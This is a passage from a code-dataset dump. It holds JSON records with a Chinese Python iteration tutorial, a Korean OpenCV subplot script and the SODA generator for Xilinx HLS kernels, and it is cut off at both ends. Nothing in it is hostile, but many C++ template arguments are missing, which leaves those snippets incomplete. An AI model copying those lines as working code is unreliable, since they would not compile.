"line_number": 226, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 235, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 236, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 238, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 241, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 243, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 246, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 248, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 251, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 259, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 270, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 272, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 274, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 279, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 282, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 293, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 296, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 299, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 302, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 305, "usage_type": "call"}]} {"seq_id": "522310869", "text": "# -*- codeing: UTF-8 -*-\n\n# 迭代\n# python的for循环抽象程度要高于C的for循环，因为python的for循环不仅可以用在list或tuple上，还可以作用在其他可以迭代的对象上。\n# list数据是有下标的，但很多其他数据类型是没有下标的，只要是可迭代对象，无论有无下标，都可以迭代，比如dict就可以迭代\n\nd = {'a':1, 'b':2, 'c':3}\nfor key in d :\n print(key) # a c b \n\n#之所以是 a c b ，dic的存储不是按照list的方式顺序排列，所以迭代出的结果顺序很可能不一样\n# 默认情况下，dict迭代的是key，\n# 如果要迭代value,可以用 for value in d.values()\n# 如果要同时迭代key和value，可以用 for k,v in d.items()\n\nfor key,value in d.items():\n print(key,value)\n\n\n# 字符串也是可以迭代对象，也可以用for循环\nfor ch in 'ABC':\n print(ch)\n\n# 在python中，当使用for循环时，只要作用一个可迭代对象，for循环都可以正常运行，而我们不太关心该对象究竟是list还是其他数据类型\n\n# 判断一个对象时可迭代对象： 方法是通过 collections模块的Iterable类型判断\nfrom collections import Iterable\nisinstance('abc',Iterable) # True 判断 str 是否可迭代\nisinstance([1,2,3],Iterable) # True 判断 list 是否可迭代\nisinstance(123,Iterable) # False 判断整数是否可迭代\n\n\n\n# 如果要对list实现 类似 java 那样的下标循环 python内置的 enumerate 函数可以把一个list变成索引-元素对\n# 这样就可以在for循环中同时迭代索引和元素本身\nfor i,value in enumerate(['A','B','C']):\n print(i,value)\n# 0 A\n# 1 B \n# 2 C\n\n# 上面的循环里同时引用了两个变量，在python里很常见，如\nfor x,y in [(1,1),(2,4),(3,9)]:\n print(x,y)\n# 1 1\n# 2 4\n# 3 9\n\n\n\n\n# 练习\n# 使用迭代 查找一个list钟最小和最大值，并返回一个tuple\ndef findMinAndMax(L):\n if len(L) == 0:\n return (None,None)\n min = L[0]\n max = L[0]\n for num in L:\n if num < min:\n min = num\n if num > max:\n max = num\n return (min,max)\n \n\n\n# 测试\nif findMinAndMax([]) != (None, None):\n print('测试失败!')\nelif findMinAndMax([7]) != (7, 7):\n print('测试失败!')\nelif findMinAndMax([7, 1]) != (1, 7):\n print('测试失败!')\nelif findMinAndMax([7, 1, 3, 9, 5]) != (1, 9):\n print('测试失败!')\nelse:\n print('测试成功!')\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "iteration.py", "file_name": "iteration.py", "file_ext": "py", "file_size_in_byte": 2404, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.Iterable", "line_number": 28, "usage_type": "argument"}, {"api_name": "collections.Iterable", "line_number": 29, "usage_type": "argument"}, {"api_name": "collections.Iterable", "line_number": 30, "usage_type": "argument"}]} {"seq_id": "497452220", "text": "import cv2\r\nfrom matplotlib import pyplot as plt\r\n\r\npath = 'C:/0710pcv/data/'\r\nimgBGR1 = cv2.imread(path + 'asy1.jpg')\r\nimgBGR2 = cv2.imread(path + 'asy2.jpg')\r\nimgBGR3 = cv2.imread(path + 'asy3.jpg')\r\nimgBGR4 = cv2.imread(path + 'asy4.jpg')\r\n\r\n#컬러변환:BGR->RGB\r\nimgRGB1 = cv2.cvtColor(imgBGR1,cv2.COLOR_BGR2RGB)\r\nimgRGB2 = cv2.cvtColor(imgBGR2,cv2.COLOR_BGR2RGB)\r\nimgRGB3 = cv2.cvtColor(imgBGR3,cv2.COLOR_BGR2RGB)\r\nimgRGB4 = cv2.cvtColor(imgBGR4,cv2.COLOR_BGR2RGB)\r\n\r\nfig,ax = plt.subplots(2, 2, figsize = (10, 10), sharey = True)\r\nfig.canvas.set_window_title('Sample Picutre')\r\n\r\nax[0][0].axis('off')\r\nax[0][0].imshow(imgRGB1,aspect = 'auto')\r\n\r\nax[0][1].axis('off')\r\nax[0][1].imshow(imgRGB2,aspect = 'auto')\r\n\r\nax[1][0].axis(\"off\")\r\nax[1][0].imshow(imgRGB3,aspect = 'auto')\r\n\r\nax[1][0].axis(\"off\")\r\nax[1][1].imshow(imgRGB4,aspect = 'auto')\r\n\r\nplt.subplots_adjust(left = 0, bottom = 0, right = 1, top = 1,\r\n wspace = 0.05, hspace = 0.05)\r\nplt.savefig('C:/0710pcv/data/0711.png',bbox_inches = 'tight')\r\nplt.show()", "sub_path": "image processing/06_subplot.py", "file_name": "06_subplot.py", "file_ext": "py", "file_size_in_byte": 1031, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 14, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} {"seq_id": "344819474", "text": "import collections\nimport itertools\nimport logging\nfrom typing import IO, Any, Dict, List, Tuple\n\nfrom haoda import ir, util\nfrom haoda.ir import visitor\nfrom soda import core, dataflow\n\n_logger = logging.getLogger().getChild(__name__)\n\nSUPPORTED_INTERFACES = 'm_axi', 'axis'\n\nDATA_TYPE_FMT = dict(\n m_axi='Data<{0.c_type}>',\n axis='ap_axiu<{0.width_in_bits}, 0, 0, 0>',\n)\n\n\ndef _check_interface(interface: str) -> None:\n if interface not in SUPPORTED_INTERFACES:\n raise NotImplementedError(f'interface \"{interface}\" is not implemented')\n\n\ndef _print_interface(\n printer: util.CppPrinter,\n stencil: core.Stencil,\n inputs: List[Tuple[str, ir.Type, int]],\n outputs: List[Tuple[str, ir.Type, int]],\n super_source: dataflow.SuperSourceNode,\n interface: str,\n) -> None:\n \"\"\"Prints the top-level module for the given arguments.\n\n Prints the top-level interfaces and sub-module instances with proper interface\n pragmas, hls::stream declarations and references, and module function calls.\n Currently only streaming applications are supported.\n\n Args:\n printer: CppPrinter to which the code is emitted.\n stencil: core.Stencil to print.\n inputs: List of (name, ir.Type, bank) tuples, specifying the input\n interfaces.\n outputs: List of (name, ir.Type, bank) tuples, specifying the output\n interfaces.\n super_source: SuperSourceNode of a DAG of HAODA nodes.\n \"\"\"\n get_bundle_name = util.get_bundle_name\n get_port_name = util.get_port_name\n get_port_buf_name = util.get_port_buf_name\n\n if interface in {'m_axi', 'axis'}:\n printer.println('extern \"C\" {\\n')\n\n params: List[str] = []\n if interface == 'm_axi':\n params.extend(f'ap_uint<{stencil.burst_width}>* {get_port_name(name, bank)}'\n for name, _, bank in outputs + inputs)\n params.append('uint64_t coalesced_data_num')\n elif interface == 'axis':\n params.extend(f'hls::stream>&'\n f' {get_port_name(name, bank)}'\n for name, haoda_type, bank in outputs + inputs)\n\n printer.print_func(f'void {stencil.kernel_name}', params, align=0)\n\n # print function body\n printer.do_scope()\n\n if interface == 'm_axi':\n printer.printlns(\n *(f'#pragma HLS interface m_axi port = {get_port_name(name, bank)} '\n f'offset = slave bundle = {get_bundle_name(name, bank)}'\n for name, _, bank in outputs + inputs),\n *(f'#pragma HLS interface s_axilite port = {get_port_name(name, bank)} '\n 'bundle = control' for name, _, bank in outputs + inputs),\n '#pragma HLS interface s_axilite port = coalesced_data_num '\n 'bundle = control',\n '#pragma HLS interface s_axilite port = return bundle = control',\n '',\n )\n elif interface == 'axis':\n printer.printlns(\n *(f'#pragma HLS interface axis port = {get_port_name(name, bank)}'\n for name, _, bank in outputs + inputs),\n '#pragma HLS interface ap_ctrl_none port = return',\n )\n\n # port buf declarations\n if interface == 'm_axi':\n printer.printlns(\n itertools.chain.from_iterable((\n f'hls::stream>>'\n f' {get_port_buf_name(name, bank)}'\n f'(\"{get_port_buf_name(name, bank)}\");',\n '#pragma HLS stream'\n f' variable = {get_port_buf_name(name, bank)} depth = 32',\n f'#pragma HLS data_pack variable = {get_port_buf_name(name, bank)}',\n ) for name, haoda_type, bank in inputs + outputs))\n printer.println()\n\n # internal fifos\n if interface in {'m_axi', 'axis'}:\n printer.printlns(\n itertools.chain.from_iterable((\n f'hls::stream<{DATA_TYPE_FMT[interface].format(fifo)}>'\n f' {fifo.c_expr}(\"{fifo.c_expr}\");',\n '#pragma HLS stream'\n f' variable = {fifo.c_expr} depth = {fifo.depth + 3}',\n f'#pragma HLS data_pack variable = {fifo.c_expr}' if interface ==\n 'm_axi' else '',\n ) for node in super_source.tpo_valid_node_gen() for fifo in node.fifos))\n printer.println()\n\n # start of dataflow region\n if interface in {'m_axi', 'axis'}:\n printer.println('#pragma HLS dataflow', 0)\n\n # load modules\n if interface == 'm_axi':\n printer.printlns(f'BurstRead({get_port_buf_name(name, bank)},'\n f' {get_port_name(name, bank)}, coalesced_data_num);'\n for name, _, bank in inputs)\n\n # SODA modules\n for node in super_source.tpo_valid_node_gen():\n module_trait_id = super_source.module_table[node][1]\n _print_module_func_call(printer, node, module_trait_id, interface)\n\n # store modules\n if interface == 'm_axi':\n printer.printlns(f'BurstWrite({get_port_name(name, bank)},'\n f' {get_port_buf_name(name, bank)}, coalesced_data_num);'\n for name, _, bank in outputs)\n\n # end of dataflow region\n\n printer.un_scope()\n if interface in {'m_axi', 'axis'}:\n printer.printlns('', '} // extern \"C\"')\n\n\ndef print_header(\n printer: util.CppPrinter,\n interface: str = SUPPORTED_INTERFACES[0],\n) -> None:\n third_party_headers = ['ap_int']\n if interface == 'm_axi':\n third_party_headers.append('hls_stream')\n elif interface == 'axis':\n third_party_headers += 'ap_axi_sdata', 'hls_stream'\n\n printer.printlns(\n *map('#include '.format, [\n 'float',\n 'math',\n 'stdbool',\n 'stddef',\n 'stdint',\n 'stdio',\n 'string',\n ]),\n '',\n *(map('#include <{}>'.format, ['algorithm'])),\n '',\n *(map('#include <{}.h>'.format, third_party_headers)),\n '',\n )\n\n\ndef _print_burst_read_m_axi(printer):\n printer.println('''template \nvoid BurstRead(hls::stream>& to, T* from, uint64_t data_num) {\nload:\n for (uint64_t i = 0; i < data_num;) {\n#pragma HLS pipeline II = 1\n const uint64_t next_i = i + 1;\n WriteData(to, from[i], next_i < data_num);\n i = next_i;\n }\n}\n''')\n\n\ndef _print_burst_write_m_axi(printer):\n printer.println('''template \nvoid BurstWrite(T* to, hls::stream>& from, uint64_t data_num) {\nstore:\n for (uint64_t i = 0; i < data_num; ++i) {\n#pragma HLS pipeline II = 1\n T buf;\n ReadData(buf, from);\n to[i] = buf;\n }\n}\n''')\n\n\n\n\n\n\ndef print_code(\n stencil: core.Stencil,\n output_file: IO[str],\n interface: str = SUPPORTED_INTERFACES[0],\n):\n _check_interface(interface)\n\n _logger.info('generate kernel code as %s' % output_file.name)\n printer = util.CppPrinter(output_file)\n\n print_header(printer, interface)\n\n if interface in {'m_axi', 'axis'}:\n printer.printlns(\n '#ifdef __SYNTHESIS__',\n '#warning this file should be used for simulation only',\n '#warning synthesis result may be sub-optimal',\n '#endif // __SYNTHESIS__',\n '',\n )\n\n printer.printlns(\n '// this file can be generated from the following SODA DSL',\n f'/*\\n{stencil}\\n*/',\n '',\n '// stencil window size:'\n f' {tuple(core.get_stencil_dim(stencil.stencil_window))}',\n f'// stencil distace: {stencil.stencil_distance}',\n '// data layout is documented at',\n '// https://github.com/Blaok/soda/blob/master/docs/data-layout.md',\n '',\n )\n\n if interface in {'m_axi', 'axis'}:\n _print_reinterpret(printer)\n\n if interface == 'm_axi':\n _print_data_struct(printer)\n _print_read_data_m_axi(printer)\n _print_write_data_m_axi(printer)\n _print_burst_read_m_axi(printer)\n _print_burst_write_m_axi(printer)\n elif interface == 'axis':\n _print_read_data_axis(printer)\n _print_write_data_axis(printer)\n\n for module_trait_id, module_trait in enumerate(stencil.module_traits):\n print_module_definition(\n printer,\n module_trait,\n module_trait_id,\n stencil.burst_width,\n interface,\n )\n\n outputs = []\n inputs = []\n for stmt in stencil.output_stmts:\n for bank in stmt.dram:\n outputs.append((stmt.name, stmt.haoda_type, bank))\n for stmt in stencil.input_stmts:\n for bank in stmt.dram:\n inputs.append((stmt.name, stmt.haoda_type, bank))\n for stmt in stencil.param_stmts:\n inputs.append(('var_%s' % stmt.name, stmt.type, 0))\n _print_interface(printer, stencil, inputs, outputs,\n stencil.dataflow_super_source, interface)\n\n\ndef _print_module_func_call(printer: util.CppPrinter, node: ir.Module,\n module_trait_id: int, interface: str) -> None:\n func_name = util.get_func_name(module_trait_id)\n\n if interface == 'm_axi':\n get_port_name = util.get_port_buf_name\n elif interface == 'axis':\n get_port_name = util.get_port_name\n\n dram_reads = tuple(' /* input*/ ' + get_port_name(dram_ref.var, bank)\n for dram_ref, bank in node.dram_reads)\n dram_writes = tuple(' /*output*/ ' + get_port_name(dram_ref.var, bank)\n for dram_ref, bank in node.dram_writes)\n output_fifos = tuple(' /*output*/ ' + _ for _ in node.output_fifos)\n input_fifos = tuple(' /* input*/ ' + _ for _ in node.input_fifos)\n params = dram_writes + output_fifos + input_fifos + dram_reads\n\n if interface in {'m_axi', 'axis'}:\n printer.print_func(func_name, params, suffix=';', align=0)\n\n\ndef _get_delays(obj, delays):\n if isinstance(obj, ir.DelayedRef):\n delays.append(obj)\n return obj\n\n\ndef _mutate_dram_ref_for_writes(obj: ir.Node, kwargs: Dict[str, Any]) -> None:\n if isinstance(obj, ir.DRAMRef):\n coalescing_idx = kwargs.pop('coalescing_idx')\n unroll_factor = kwargs.pop('unroll_factor')\n interface = kwargs.pop('interface')\n num_bank_map = kwargs.pop('num_bank_map')\n type_width = obj.haoda_type.width_in_bits\n elem_idx = coalescing_idx * unroll_factor + obj.offset\n num_banks = num_bank_map[obj.var]\n bank = obj.dram[elem_idx % num_banks]\n if interface in {'m_axi', 'axis'}:\n lsb = (elem_idx // num_banks) * type_width\n msb = lsb + type_width - 1\n return ir.Var(name=f'{obj.dram_buf_name(bank)}({msb}, {lsb})', idx=())\n return obj\n\n\ndef _mutate_dram_ref_for_reads(obj: ir.Node, kwargs: Dict[str, Any]) -> None:\n if isinstance(obj, ir.DRAMRef):\n coalescing_idx = kwargs.pop('coalescing_idx')\n unroll_factor = kwargs.pop('unroll_factor')\n interface = kwargs.pop('interface')\n num_bank_map = kwargs.pop('num_bank_map')\n expr = kwargs.pop('expr')\n type_width = obj.haoda_type.width_in_bits\n elem_idx = coalescing_idx * unroll_factor + obj.offset\n num_banks = num_bank_map[obj.var]\n bank = expr.dram[elem_idx % num_banks]\n if interface in {'m_axi', 'axis'}:\n lsb = (elem_idx // num_banks) * type_width\n msb = lsb + type_width - 1\n return ir.Var(\n name=f'Reinterpret<{obj.c_type}>('\n f'static_cast>('\n f'{obj.dram_buf_name(bank)}({msb}, {lsb})))',\n idx=(),\n )\n return obj\n\n\ndef _process_accesses(\n module_trait: ir.ModuleTrait,\n burst_width: int,\n interface: str,\n):\n # input/output channels\n if interface in {'m_axi', 'axis'}:\n fifo_loads = [\n f'/* input*/ hls::stream<{DATA_TYPE_FMT[interface].format(x)}>&'\n f' {x.ld_name}' for x in module_trait.loads\n ]\n fifo_stores = [\n f'/*output*/ hls::stream<{DATA_TYPE_FMT[interface].format(expr)}>&'\n f' {ir.FIFORef.ST_PREFIX}{idx}'\n for idx, expr in enumerate(module_trait.exprs)\n ]\n\n # format strings for input/output channels for packing/unpacking modules\n if interface == 'm_axi':\n fifo_load_fmt = (\"f'/* input*/ hls::stream>>&\"\n \" {x.dram_fifo_name(bank)}'\")\n fifo_store_fmt = (\"f'/*output*/ hls::stream>>&\"\n \" {x.dram_fifo_name(bank)}'\")\n elif interface == 'axis':\n fifo_load_fmt = (\n \"f'/* input*/ hls::stream>&\"\n \" {x.dram_fifo_name(bank)}'\")\n fifo_store_fmt = (\n \"f'/*output*/ hls::stream>&\"\n \" {x.dram_fifo_name(bank)}'\")\n\n # dict mapping variable name to\n # dict mapping bank tuple to\n # dict mapping offset to ir.DRAMRef\n dram_read_map: Dict[str, Dict[Tuple[int, ...], Dict[int, ir.DRAMRef]]]\n dram_read_map = collections.defaultdict(dict)\n dram_write_map: Dict[str, Dict[Tuple[int, ...], Dict[int, ir.DRAMRef]]]\n dram_write_map = collections.defaultdict(dict)\n\n num_bank_map: Dict[str, int] = {}\n all_dram_reads: List[ir.DRAMRef] = []\n dram_reads: List[ir.DRAMRef] = []\n coalescing_factor = 0\n ii = 1\n\n exprs = [_.expr for _ in module_trait.lets]\n exprs.extend(module_trait.exprs)\n dram_read_refs: Tuple[ir.DRAMRef, ...] = visitor.get_dram_refs(exprs)\n dram_write_refs: Tuple[ir.DRAMRef, ...] = visitor.get_dram_refs(\n _.name for _ in module_trait.lets if not isinstance(_.name, str))\n\n # temporary dict mapping variable name to\n # dict mapping bank tuple to\n # list of ir.DRAMRef\n dram_map: Dict[str, Dict[Tuple[int, ...], List[ir.DRAMRef]]]\n dram_map = collections.defaultdict(lambda: collections.defaultdict(list))\n\n if dram_read_refs: # this is an unpacking module\n assert not dram_write_refs, 'cannot read and write DRAM in the same module'\n for dram_ref in dram_read_refs:\n dram_map[dram_ref.var][dram_ref.dram].append(dram_ref)\n _logger.debug('dram read map: %s', dram_map)\n for var in dram_map:\n for dram in dram_map[var]:\n # number of elements per cycle\n batch_size = len(dram_map[var][dram])\n dram_read_map[var][dram] = {_.offset: _ for _ in dram_map[var][dram]}\n offset_dict = dram_read_map[var][dram]\n num_banks = len(dram)\n if var in num_bank_map:\n assert num_bank_map[var] == num_banks, 'inconsistent num banks'\n else:\n num_bank_map[var] = num_banks\n _logger.debug('dram reads: %s', offset_dict)\n assert tuple(sorted(offset_dict.keys())) == tuple(range(batch_size)), \\\n 'unexpected DRAM accesses pattern %s' % offset_dict\n batch_width = sum(\n _.haoda_type.width_in_bits for _ in offset_dict.values())\n if burst_width * num_banks >= batch_width:\n assert burst_width * num_banks % batch_width == 0, \\\n 'cannot process such a burst'\n # a single burst consumed in multiple cycles\n coalescing_factor = burst_width * num_banks // batch_width\n ii = coalescing_factor\n else:\n assert batch_width * num_banks % burst_width == 0, \\\n 'cannot process such a burst'\n # multiple bursts consumed in a single cycle\n # reassemble_factor = batch_width // (burst_width * num_banks)\n raise util.InternalError('cannot process such a burst yet')\n dram_reads = [next(iter(_.values())) for _ in dram_read_map[var].values()]\n all_dram_reads += dram_reads\n fifo_loads.extend(\n eval(fifo_load_fmt, dict(burst_width=burst_width), locals())\n for x in dram_reads\n for bank in x.dram)\n elif dram_write_refs: # this is a packing module\n for dram_ref in dram_write_refs:\n dram_map[dram_ref.var][dram_ref.dram].append(dram_ref)\n _logger.debug('dram write map: %s', dram_map)\n for var in dram_map:\n for dram in dram_map[var]:\n # number of elements per cycle\n batch_size = len(dram_map[var][dram])\n dram_write_map[var][dram] = {_.offset: _ for _ in dram_map[var][dram]}\n offset_dict = dram_write_map[var][dram]\n num_banks = len(dram)\n if var in num_bank_map:\n assert num_bank_map[var] == num_banks, 'inconsistent num banks'\n else:\n num_bank_map[var] = num_banks\n _logger.debug('dram writes: %s', offset_dict)\n assert tuple(sorted(offset_dict.keys())) == tuple(range(batch_size)), \\\n 'unexpected DRAM accesses pattern %s' % offset_dict\n batch_width = sum(\n _.haoda_type.width_in_bits for _ in offset_dict.values())\n if burst_width * num_banks >= batch_width:\n assert burst_width * num_banks % batch_width == 0, \\\n 'cannot process such a burst'\n # a single burst consumed in multiple cycles\n coalescing_factor = burst_width * num_banks // batch_width\n ii = coalescing_factor\n else:\n assert batch_width * num_banks % burst_width == 0, \\\n 'cannot process such a burst'\n # multiple bursts consumed in a single cycle\n # reassemble_factor = batch_width // (burst_width * num_banks)\n raise util.InternalError('cannot process such a burst yet')\n dram_writes = [\n next(iter(_.values())) for _ in dram_write_map[var].values()\n ]\n fifo_stores.extend(\n eval(fifo_store_fmt, dict(burst_width=burst_width), locals())\n for x in dram_writes\n for bank in x.dram)\n\n return (\n fifo_loads,\n fifo_stores,\n dram_read_map,\n dram_write_map,\n num_bank_map,\n all_dram_reads,\n coalescing_factor,\n ii,\n )\n\n\ndef print_module_definition(\n printer: util.CppPrinter,\n module_trait: ir.ModuleTrait,\n module_trait_id: int,\n burst_width: int,\n interface: str = SUPPORTED_INTERFACES[0],\n) -> None:\n func_name = util.get_func_name(module_trait_id)\n func_lower_name = util.get_module_name(module_trait_id)\n\n delays: ir.DelayedRef = []\n for let in module_trait.lets:\n let.visit(_get_delays, delays)\n for expr in module_trait.exprs:\n expr.visit(_get_delays, delays)\n _logger.debug('delays: %s', delays)\n\n (\n fifo_loads,\n fifo_stores,\n dram_read_map,\n dram_write_map,\n num_bank_map,\n dram_reads,\n coalescing_factor,\n ii,\n ) = _process_accesses(\n module_trait,\n burst_width,\n interface,\n )\n\n dram_rw_map = {**dram_read_map, **dram_write_map}\n\n # print function\n printer.print_func(f'void {func_name}', fifo_stores + fifo_loads, align=0)\n printer.do_scope(func_name)\n\n if interface == 'm_axi':\n printer.printlns(\n *(f'#pragma HLS data_pack variable = {dram_ref.dram_fifo_name(bank)}'\n for dram_ref, bank in module_trait.dram_writes +\n module_trait.dram_reads),\n *(f'#pragma HLS data_pack variable = {arg}'\n for arg in module_trait.output_fifos + module_trait.input_fifos),\n )\n\n # print inter-iteration declarations\n printer.printlns(x.c_buf_decl for x in delays)\n printer.printlns(x.c_ptr_decl for x in delays)\n\n # print loop\n printer.println(f'{func_lower_name}:', indent=0)\n if interface in {'m_axi', 'axis'}:\n printer.println('for (bool enable = true; enable;)')\n else:\n printer.println('for (;;)')\n printer.do_scope(f'for {func_lower_name}')\n printer.printlns(\n f'#pragma HLS pipeline II = {ii}',\n *(f'#pragma HLS dependence variable = {delay.buf_name} inter false'\n for delay in delays),\n )\n\n # print emptyness tests\n printer.println('if (%s)' % (' && '.join(\n f'!{fifo}.empty()' for fifo in [_.ld_name for _ in module_trait.loads] +\n [_.dram_fifo_name(bank) for _ in dram_reads for bank in _.dram])))\n printer.do_scope('if not empty')\n\n # print intra-iteration declarations\n printer.printlns(\n f'{fifo_in.c_type} {fifo_in.ref_name};' for fifo_in in module_trait.loads)\n if interface in {'m_axi', 'axis'}:\n printer.printlns(\n f'ap_uint<{burst_width}> {dram.dram_buf_name(bank)};'\n for var, accesses in dram_rw_map.items()\n for dram in (next(iter(_.values())) for _ in accesses.values())\n for bank in dram.dram)\n\n if interface in {'m_axi', 'axis'}:\n # print enable conditions\n if not dram_write_map:\n printer.printlns(f'const bool {fifo_in.ref_name}_enable = '\n f'ReadData({fifo_in.ref_name}, {fifo_in.ld_name});'\n for fifo_in in module_trait.loads)\n printer.printlns(\n f'const bool {x.dram_buf_name(bank)}_enable = '\n f'ReadData({x.dram_buf_name(bank)}, {x.dram_fifo_name(bank)});'\n for x in dram_reads\n for bank in x.dram)\n if not dram_write_map:\n printer.println(\n 'const bool enabled = %s;' %\n ' && '.join([f'{y.ref_name}_enable' for y in module_trait.loads] + [\n f'{x.dram_buf_name(bank)}_enable' for x in dram_reads\n for bank in x.dram\n ]))\n printer.println('enable = enabled;')\n\n # print delays (if any)\n printer.printlns(f'const {x.c_type} {x.c_buf_load};' for x in delays)\n\n # mutate dram ref for writes\n if dram_write_map:\n for coalescing_idx in range(coalescing_factor):\n if interface in {'m_axi', 'axis'}:\n for fifo_in in module_trait.loads:\n if coalescing_idx == coalescing_factor - 1:\n prefix = f'const bool {fifo_in.ref_name}_enable = '\n else:\n prefix = ''\n printer.println(f'{prefix}ReadData({fifo_in.ref_name},'\n f' {fifo_in.ld_name});')\n if coalescing_idx == coalescing_factor - 1:\n printer.printlns(\n 'const bool enabled = %s;' %\n ' && '.join([f'{x.ref_name}_enable' for x in module_trait.loads] +\n [\n f'{x.dram_buf_name(bank)}_enable'\n for x in dram_reads\n for bank in x.dram\n ]),\n 'enable = enabled;',\n )\n for idx, let in enumerate(module_trait.lets):\n let = let.visit(\n _mutate_dram_ref_for_writes,\n dict(\n coalescing_idx=coalescing_idx,\n unroll_factor=len(dram_write_map[let.name.var][let.name.dram]),\n num_bank_map=num_bank_map,\n interface=interface,\n ))\n if interface in {'m_axi', 'axis'}:\n printer.println(\n f'{let.name} = '\n f'Reinterpret>'\n f'({let.expr.c_expr});')\n if interface in {'m_axi', 'axis'}:\n printer.printlns(\n f'WriteData({dram.dram_fifo_name(bank)}, '\n f'{dram.dram_buf_name(bank)}, enabled);' for var in dram_write_map\n for dram in (\n next(iter(_.values())) for _ in dram_write_map[var].values())\n for bank in dram.dram)\n else:\n printer.printlns(let.c_expr for let in module_trait.lets)\n\n # mutate dram ref for reads\n if dram_read_map:\n for coalescing_idx in range(coalescing_factor):\n for idx, expr in enumerate(module_trait.exprs):\n c_expr = expr.visit(\n _mutate_dram_ref_for_reads,\n dict(\n coalescing_idx=coalescing_idx,\n unroll_factor=len(dram_read_map[expr.var][expr.dram]),\n num_bank_map=num_bank_map,\n interface=interface,\n expr=expr,\n )).c_expr\n if interface in {'m_axi', 'axis'}:\n if coalescing_idx < coalescing_factor - 1:\n enabled = 'true'\n else:\n enabled = 'enabled'\n printer.println(\n f'WriteData({ir.FIFORef.ST_PREFIX}{idx}, {c_expr}, {enabled});')\n else:\n if interface in {'m_axi', 'axis'}:\n printer.printlns(f'WriteData({ir.FIFORef.ST_PREFIX}{idx}, '\n f'{expr.c_type}({expr.c_expr}), enabled);'\n for idx, expr in enumerate(module_trait.exprs))\n\n for delay in delays:\n printer.printlns(\n delay.c_buf_store,\n f'{delay.ptr} = {delay.c_next_ptr_expr};',\n )\n\n printer.un_scope()\n printer.un_scope()\n printer.un_scope()\n printer.println()\n _logger.debug('printing: %s', module_trait)\n\n\ndef _print_data_struct(printer):\n printer.println('''template\nstruct Data {\n T data;\n bool ctrl;\n};\n''')\n\n\ndef _print_reinterpret(printer):\n printer.println('''template\nTo Reinterpret(From val) {\n#pragma HLS inline\n return reinterpret_cast(val);\n}\n''')\n\n\ndef _print_read_data_m_axi(printer):\n printer.println('''template\nbool ReadData(T& data, hls::stream>& from) {\n#pragma HLS inline\n const auto tmp = from.read();\n data = tmp.data;\n return tmp.ctrl;\n}\n''')\n\n\ndef _print_write_data_m_axi(printer):\n printer.println('''template\nvoid WriteData(hls::stream>& to, const T& data, bool ctrl) {\n#pragma HLS inline\n Data tmp;\n tmp.data = data;\n tmp.ctrl = ctrl;\n to.write(tmp);\n}\n''')\n\n\ndef _print_read_data_axis(printer):\n printer.println('''template\nbool ReadData(T& data, hls::stream>& from) {\n#pragma HLS inline\n const auto tmp = from.read();\n data = Reinterpret(tmp.data);\n return !tmp.last;\n}\n''')\n\n\ndef _print_write_data_axis(printer):\n printer.println('''template\nvoid WriteData(hls::stream>& to, const T& data, bool ctrl) {\n#pragma HLS inline\n ap_axiu tmp = {data, 0, 0, !ctrl};\n tmp.keep.b_not();\n tmp.strb.b_not();\n to.write(tmp);\n}\n''')\n", "sub_path": "src/soda/codegen/xilinx/hls_kernel.py", "file_name": "hls_kernel.py", "file_ext": "py", "file_size_in_byte": 25057, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "haoda.util.CppPrinter", "line_number": 26, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 26, "usage_type": "name"}, {"api_name": "soda.core.Stencil", "line_number": 27, "usage_type": "attribute"}, {"api_name": "soda.core", "line_number": 27, "usage_type": "name"}, {"api_name": 